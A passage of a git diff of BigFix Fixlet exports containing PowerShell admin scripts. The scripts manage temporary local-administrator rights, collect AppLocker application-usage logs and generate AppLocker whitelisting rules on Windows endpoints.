-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Permanent Administrators to Authorized Requestors - Windows
+  ID       : 24156
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:25:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Permanent Administrators to Authorized Requestors - Windows</Title>
+    <Description><![CDATA[<P>This all all explicit members of the local administrators group as Authorized Temporary Administartive Rights Requestors.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(number of elements of it > 0) of (  /* Add All Explicit Members of Administrators */ set of component strings of (sids of members of local group "Administrators") whose (exists user of it)   /* Subtract Current Authorized Requestors */ - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry   /* Subtract Current Temporary Administrators */ - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry   /* Subtract Local Administrator (Can't Remove) */ - set of component string of sid of user "Administrator"  )]]></Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to add all local administrators&amp;nbsp;as&amp;nbsp;Authorized Temporary Administrative&amp;nbsp;Rights&amp;nbsp;Requestors.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
+// -Current Authorized Requestors
+// -Current Temporary Administrators
+// -Local Admin Account (Can't Remove)
+parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry - set of component string of sid of user "Administrator" - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry )}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (10000000 * week)}"
+parameter "Switches"="-Grant -Requestor"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Analyze Application Usage - Windows (21122).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Analyze Application Usage - Windows (21122).bes
index db17e80d0..701a1631b 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Analyze Application Usage - Windows (21122).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Analyze Application Usage - Windows (21122).bes	
@@ -1,152 +1,152 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Analyze Application Usage - Windows
-  ID       : 21122
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-08-08T12:33:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Analyze Application Usage - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet does an extraction of Applocker Logs from the system and stores the results in an XML document in the __Global\C3AppUsage folder. This XML document can then be read to track application usage.</P>
-<P>For general information or to report issues with C3 Application Usage content please visit GitHub here: <A href="https://github.com/strawgate/C3-Application-Usage">https://github.com/strawgate/C3-Application-Usage</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-07-16</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-parameter "Storage"="{pathname of folder "__Global" of data folder of client}\C3AppUsage"
-
-folder create "{parameter "Storage"}"
-
-delete __createfile
-delete powershell.ps1
-
-createfile until _end_
-param (
-    $UsageFile = "$PSScriptRoot\AppUsage.xml"
-)
-
-function load-usage {{
-    param (
-        [string] $File
-    )
-    try {{
-        [XML] $XML = New-Object System.XML.XMLDocument
-        $XML.Load($UsageFile)
-
-        return $XML
-    } catch {{
-        return [xml] '<Usage><FirstUpdate><Date></Date><Time></Time><DateTime></DateTime></FirstUpdate><LastUpdate><Date>Monday, January 1, 0001</Date><Time>12:00:00 AM</Time><DateTime>0001-01-01T06:00:00.0000000Z</DateTime></LastUpdate><Applications></Applications></Usage>'
-    }
-}
-
-function get-ApplockerLogs {{
-    param (
-        $EventsAfter
-    )
-    $Logs = get-winevent -logname "Microsoft-Windows-AppLocker/EXE and DLL" -FilterXPath "*[System[TimeCreated[@SystemTime > '$EventsAfter']]]"
-
-    return $Logs | sort-object -property TimeCreated
-}
-
-function set-datetime {{
-    param (
-        $XMLNode,
-        [DateTime]$DateTime
-    )
-	$XMLNode.Date = $DateTime.ToString("ddd, dd MMM yyyy")
-    $XMLNode.Time = $DateTime.ToString("HH:mm:ss")
-    $XMLNode.DateTime = "$($DateTime.GetDateTimeFormats("o"))"
-}
-
-# Load Application Usage Store
-$Usage = load-usage -File $UsageFile
-
-$Applications = $Usage.SelectSingleNode("/Usage/Applications")
-
-$FirstUpdate = $Usage.SelectSingleNode("/Usage/FirstUpdate")
-$LastUpdate = $Usage.SelectSingleNode("/Usage/LastUpdate")
-
-#Get Events
-$Applocker = get-applockerlogs -EventsAfter ($LastUpdate.DateTime)
-
-if (!($Applocker)) {{ write-verbose "No new logs. Exiting."; exit}
-
-#Process Events into Application Usage Store
-foreach ($Event in $Applocker){{
-
-    if (!($Event.Message -match '(.*?\\([^\\]*?)) was allowed to run.')) {{ continue; }
-
-    $Hash = ([System.BitConverter]::ToString($Event.Properties[12].Value)).replace("-","")
-
-    if (!($Applications.SelectSingleNode("/Usage/Applications/App[@Hash = '$Hash']"))){{
-        #Pull Out Regex Matches
-        $Exe = $Matches[2]; $Path = $Matches[1]; $Version = "N/A"
-
-        # Get Version if it's available
-        if ($Event.Properties[14].Value -match "(\d+\.*)+$") {{ $Version = $Matches[0]}
-        # If we've never set FirstUpdate, set it now
-		if (!($FirstUpdate.DateTime)) {{ set-datetime -XMLNode $FirstUpdate -DateTime $Event.TimeCreated }
-
-        # Create XML Node
-        [xml]$XML = @"
-<App Hash="$Hash">
-    <Path>$Path</Path>
-    <Exe>$Exe</Exe>
-    <Date></Date>
-    <Time></Time>
-    <DateTime></DateTime>
-    <Version>$Version</Version>
-    <Count>1</Count>
-</App>
-"@
-        set-datetime -XMLNode $XML.App -DateTime $Event.TimeCreated
-
-        $Applications.AppendChild($Usage.ImportNode($XML.app, $true)) | out-null
-    } else {{
-        $Node = $Applications.SelectSingleNode("/Usage/Applications/App[@Hash = '$Hash']")
-
-        set-datetime -XMLNode $Node -DateTime $Event.TimeCreated
-
-        $Node.Count = "$([int]$Node.Count + 1)"
-    }
-}
-
-#Save TimeStamp
-Set-datetime -XMLNode $LastUpdate -DateTime $Event.TimeCreated
-
-#Output updated Application Usage Store
-#$Usage.OuterXml > $Usage
-$Usage.Save($UsageFile)
-
-_end_
-
-move __createfile powershell.ps1
-
-override wait
-hidden=true
-completion=job
-wait "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -NoProfile -File powershell.ps1 -UsageFile "{parameter "Storage"}\AppUsage.xml"]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Analyze Application Usage - Windows
+  ID       : 21122
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-08-08T12:33:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Analyze Application Usage - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet does an extraction of Applocker Logs from the system and stores the results in an XML document in the __Global\C3AppUsage folder. This XML document can then be read to track application usage.</P>
+<P>For general information or to report issues with C3 Application Usage content please visit GitHub here: <A href="https://github.com/strawgate/C3-Application-Usage">https://github.com/strawgate/C3-Application-Usage</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-07-16</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\C3AppUsage"
+
+folder create "{parameter "Storage"}"
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+param (
+    $UsageFile = "$PSScriptRoot\AppUsage.xml"
+)
+
+function load-usage {{
+    param (
+        [string] $File
+    )
+    try {{
+        [XML] $XML = New-Object System.XML.XMLDocument
+        $XML.Load($UsageFile)
+
+        return $XML
+    } catch {{
+        return [xml] '<Usage><FirstUpdate><Date></Date><Time></Time><DateTime></DateTime></FirstUpdate><LastUpdate><Date>Monday, January 1, 0001</Date><Time>12:00:00 AM</Time><DateTime>0001-01-01T06:00:00.0000000Z</DateTime></LastUpdate><Applications></Applications></Usage>'
+    }
+}
+
+function get-ApplockerLogs {{
+    param (
+        $EventsAfter
+    )
+    $Logs = get-winevent -logname "Microsoft-Windows-AppLocker/EXE and DLL" -FilterXPath "*[System[TimeCreated[@SystemTime > '$EventsAfter']]]"
+
+    return $Logs | sort-object -property TimeCreated
+}
+
+function set-datetime {{
+    param (
+        $XMLNode,
+        [DateTime]$DateTime
+    )
+	$XMLNode.Date = $DateTime.ToString("ddd, dd MMM yyyy")
+    $XMLNode.Time = $DateTime.ToString("HH:mm:ss")
+    $XMLNode.DateTime = "$($DateTime.GetDateTimeFormats("o"))"
+}
+
+# Load Application Usage Store
+$Usage = load-usage -File $UsageFile
+
+$Applications = $Usage.SelectSingleNode("/Usage/Applications")
+
+$FirstUpdate = $Usage.SelectSingleNode("/Usage/FirstUpdate")
+$LastUpdate = $Usage.SelectSingleNode("/Usage/LastUpdate")
+
+#Get Events
+$Applocker = get-applockerlogs -EventsAfter ($LastUpdate.DateTime)
+
+if (!($Applocker)) {{ write-verbose "No new logs. Exiting."; exit}
+
+#Process Events into Application Usage Store
+foreach ($Event in $Applocker){{
+
+    if (!($Event.Message -match '(.*?\\([^\\]*?)) was allowed to run.')) {{ continue; }
+
+    $Hash = ([System.BitConverter]::ToString($Event.Properties[12].Value)).replace("-","")
+
+    if (!($Applications.SelectSingleNode("/Usage/Applications/App[@Hash = '$Hash']"))){{
+        #Pull Out Regex Matches
+        $Exe = $Matches[2]; $Path = $Matches[1]; $Version = "N/A"
+
+        # Get Version if it's available
+        if ($Event.Properties[14].Value -match "(\d+\.*)+$") {{ $Version = $Matches[0]}
+        # If we've never set FirstUpdate, set it now
+		if (!($FirstUpdate.DateTime)) {{ set-datetime -XMLNode $FirstUpdate -DateTime $Event.TimeCreated }
+
+        # Create XML Node
+        [xml]$XML = @"
+<App Hash="$Hash">
+    <Path>$Path</Path>
+    <Exe>$Exe</Exe>
+    <Date></Date>
+    <Time></Time>
+    <DateTime></DateTime>
+    <Version>$Version</Version>
+    <Count>1</Count>
+</App>
+"@
+        set-datetime -XMLNode $XML.App -DateTime $Event.TimeCreated
+
+        $Applications.AppendChild($Usage.ImportNode($XML.app, $true)) | out-null
+    } else {{
+        $Node = $Applications.SelectSingleNode("/Usage/Applications/App[@Hash = '$Hash']")
+
+        set-datetime -XMLNode $Node -DateTime $Event.TimeCreated
+
+        $Node.Count = "$([int]$Node.Count + 1)"
+    }
+}
+
+#Save TimeStamp
+Set-datetime -XMLNode $LastUpdate -DateTime $Event.TimeCreated
+
+#Output updated Application Usage Store
+#$Usage.OuterXml > $Usage
+$Usage.Save($UsageFile)
+
+_end_
+
+move __createfile powershell.ps1
+
+override wait
+hidden=true
+completion=job
+wait "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -NoProfile -File powershell.ps1 -UsageFile "{parameter "Storage"}\AppUsage.xml"]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Applocker Rule Creation From Blocks and Warnings - Windows (21336).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Applocker Rule Creation From Blocks and Warnings - Windows (21336).bes
index 992c40ec6..92ffdf3a5 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Applocker Rule Creation From Blocks and Warnings - Windows (21336).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Applocker Rule Creation From Blocks and Warnings - Windows (21336).bes	
@@ -1,250 +1,250 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Applocker Rule Creation From Blocks and Warnings - Windows
-  ID       : 21336
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-08-25T15:01:27
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Applocker Rule Creation From Blocks and Warnings - Windows</Title>
-    <Description><![CDATA[<P>Creates BigFix Fixlets for denied or audited Applocker events on the target system.</P>
-<P>Fixlets are placed in the BES Client Directory under __BESData\__Global\ApplockerGeneratedRules</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-28</SourceReleaseDate>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-action uses wow64 redirection {not x64 of operating system}
-
-parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
-parameter &quot;Storage&quot;=&quot;{pathname of data folder of client}\__Global\ApplockerGeneratedRules&quot;
-
-createfile until __end__
-Function Remove-InvalidFileNameChars {{
-&lt;#
-.SYNOPSIS
-Removes characters considered invalid by the Windows Operating System for file names.
-
-.DESCRIPTION
-Takes a string over the pipline or as a parameter and removes invalid characters from the file name.
-This sanitization allows you safely take the name you have passed and use it to save a file to disk.
-
-.PARAMETER Name
-A string you wish to escape
-#&gt;
-  param(
-    [Parameter(Mandatory=$true,
-      Position=0,
-      ValueFromPipeline=$true,
-      ValueFromPipelineByPropertyName=$true)]
-    [String]$Name
-  )
-
-  $invalidChars = [IO.Path]::GetInvalidFileNameChars() -join &apos;&apos;
-  $re = &quot;[{{0}%]&quot; -f [RegEx]::Escape($invalidChars)
-  return ($Name -replace $re)
-}
-
-Function Merge-AppLockerPolicy {{
-    Param (
-        $Policies
-    )
-    $ExeMethod = &quot;&quot;
-    $MsiMethod = &quot;&quot;
-    $ScriptMethod = &quot;&quot;
-    $AppxMethod = &quot;&quot;
-
-    $ExeRules = &quot;&quot;
-    $MsiRules = &quot;&quot;
-    $ScriptRules = &quot;&quot;
-    $AppXRules = &quot;&quot;
-
-    foreach ($Policy in $Policies) {{
-        $xml = select-xml -Path $Ruleset.fullname -XPath &quot;/AppLockerPolicy/RuleCollection&quot;
-
-        foreach ($Collection in $XML) {{
-
-            if ($Collection.Node.Type -eq &quot;Exe&quot;) {{
-                if ($Collection.Node.InnerXml.trim()) {{$ExeRules += $Collection.Node.InnerXml.tostring()}
-                if ($Collection.Node.EnforcementMode -eq &quot;AuditOnly&quot; -and $ExeMethod -ne &quot;Enabled&quot;) {{ $ExeMethod = &apos;EnforcementMode=&quot;AuditOnly&quot;&apos; }
-                if ($Collection.Node.EnforcementMode -eq &quot;Enabled&quot;) {{ $ExeMethod = &apos;EnforcementMode=&quot;Enabled&quot;&apos; }
-            }
-
-            if ($Collection.Node.Type -eq &quot;Script&quot;) {{
-                if ($Collection.Node.InnerXml.trim()) {{$ScriptRules += $Collection.Node.InnerXml.tostring()}
-                if ($Collection.Node.EnforcementMode -eq &quot;AuditOnly&quot; -and $ScriptMethod -ne &quot;Enabled&quot;) {{ $ScriptMethod = &apos;EnforcementMode=&quot;AuditOnly&quot;&apos; }
-                if ($Collection.Node.EnforcementMode -eq &quot;Enabled&quot;) {{ $ScriptMethod = &apos;EnforcementMode=&quot;Enabled&quot;&apos; }
-            }
-
-            if ($Collection.Node.Type -eq &quot;Msi&quot;) {{
-                if ($Collection.Node.InnerXml.trim()) {{$MsiRules += $Collection.Node.InnerXml.tostring()}
-                if ($Collection.Node.EnforcementMode -eq &quot;AuditOnly&quot; -and $MsiMethod -ne &quot;Enabled&quot;) {{ $MsiMethod = &apos;EnforcementMode=&quot;AuditOnly&quot;&apos; }
-                if ($Collection.Node.EnforcementMode -eq &quot;Enabled&quot;) {{ $MsiMethod = &apos;EnforcementMode=&quot;Enabled&quot;&apos; }
-            }
-
-            if ($Collection.Node.Type -eq &quot;AppX&quot;) {{
-                if ($Collection.Node.InnerXml.trim()) {{$AppXRules += $Xml.Node.InnerXml.tostring()}
-                if ($Collection.Node.EnforcementMode -eq &quot;AuditOnly&quot; -and $AppXMethod -ne &quot;Enabled&quot;) {{ $AppXMethod = &apos;EnforcementMode=&quot;AuditOnly&quot;&apos; }
-                if ($Collection.Node.EnforcementMode -eq &quot;Enabled&quot;) {{ $AppXMethod = &apos;EnforcementMode=&quot;Enabled&quot;&apos; }
-            }
-
-        }
-    }
-
-    $Policy = @&quot;
-&lt;AppLockerPolicy Version=&quot;1&quot;&gt;
-    &lt;RuleCollection Type=&quot;Exe&quot; $ExeMethod&gt;
-        $ExeRules
-    &lt;/RuleCollection&gt;
-    &lt;RuleCollection Type=&quot;Msi&quot; $MsiMethod&gt;
-        $MsiRules
-    &lt;/RuleCollection&gt;
-    &lt;RuleCollection Type=&quot;Script&quot; $ScriptMethod&gt;
-        $ScriptRules
-    &lt;/RuleCollection&gt;
-    &lt;RuleCollection Type=&quot;Appx&quot; $AppxMethod&gt;
-        $AppxRules
-    &lt;/RuleCollection&gt;
-&lt;/AppLockerPolicy&gt;
-&quot;@
-    return $Policy
-}
-
-Function New-ApplockerFixlet {{
-    Param (
-        $Type,
-        $Name,
-        $XML
-    )
-
-$Fixlet = @&quot;
-&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
-&lt;BES xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xsi:noNamespaceSchemaLocation=&quot;BES.xsd&quot;&gt;
-	&lt;Fixlet&gt;
-		&lt;Title&gt;Config - Cache Applocker Rules - $Type, $Name - Windows&lt;/Title&gt;
-		&lt;Description&gt;&lt;![CDATA[&lt;P&gt;This policy adds a policy to Applocker. Specifically it provides a rule for $Type&lt;/P&gt;&lt;br&gt;The rule self describes as: $Name]]&gt;&lt;/Description&gt;
-		&lt;Relevance&gt;Windows of Operating System&lt;/Relevance&gt;
-		&lt;Relevance&gt;&lt;![CDATA[(not exists file (pathname of data folder of client &amp; &quot;\__Global\Applocker\$(Remove-InvalidFileNameChars &quot;$Type-$Name&quot;).xml&quot;))]]&gt;&lt;/Relevance&gt;
-		&lt;Category&gt;Application Whitelisting&lt;/Category&gt;
-		&lt;Source&gt;Internal&lt;/Source&gt;
-		&lt;SourceID&gt;&lt;/SourceID&gt;
-		&lt;SourceReleaseDate&gt;2016-05-10&lt;/SourceReleaseDate&gt;
-		&lt;SourceSeverity&gt;&lt;/SourceSeverity&gt;
-		&lt;CVENames&gt;&lt;/CVENames&gt;
-		&lt;SANSID&gt;&lt;/SANSID&gt;
-		&lt;MIMEField&gt;
-			&lt;Name&gt;x-fixlet-modification-time&lt;/Name&gt;
-			&lt;Value&gt;Tue, 17 May 2016 21:39:44 +0000&lt;/Value&gt;
-		&lt;/MIMEField&gt;
-		&lt;Domain&gt;BESC&lt;/Domain&gt;
-		&lt;DefaultAction ID=&quot;Action1&quot;&gt;
-			&lt;Description&gt;
-				&lt;PreLink&gt;Click &lt;/PreLink&gt;
-				&lt;Link&gt;here&lt;/Link&gt;
-				&lt;PostLink&gt; to deploy this action.&lt;/PostLink&gt;
-			&lt;/Description&gt;
-			&lt;ActionScript MIMEType=&quot;application/x-Fixlet-Windows-Shell&quot;&gt;&lt;![CDATA[action uses wow64 redirection {{not x64 of operating system}
-
-parameter &quot;RuleName&quot;=&quot;$(Remove-InvalidFileNameChars &quot;$Type-$Name&quot;)&quot;
-parameter &quot;Storage&quot;=&quot;{{pathname of data folder of client}\__Global\Applocker&quot;
-
-delete __createfile
-
-createfile until _end_
-&lt;AppLockerPolicy Version=&quot;1&quot;&gt;
-&lt;RuleCollection Type=&quot;$Type&quot;&gt;
-$($XML)
-&lt;/RuleCollection&gt;
-&lt;/AppLockerPolicy&gt;
-_end_
-
-folder create &quot;{{parameter &quot;Storage&quot;}&quot;
-
-delete &quot;{{parameter &quot;Storage&quot;}\{{parameter &quot;RuleName&quot;}.xml&quot;
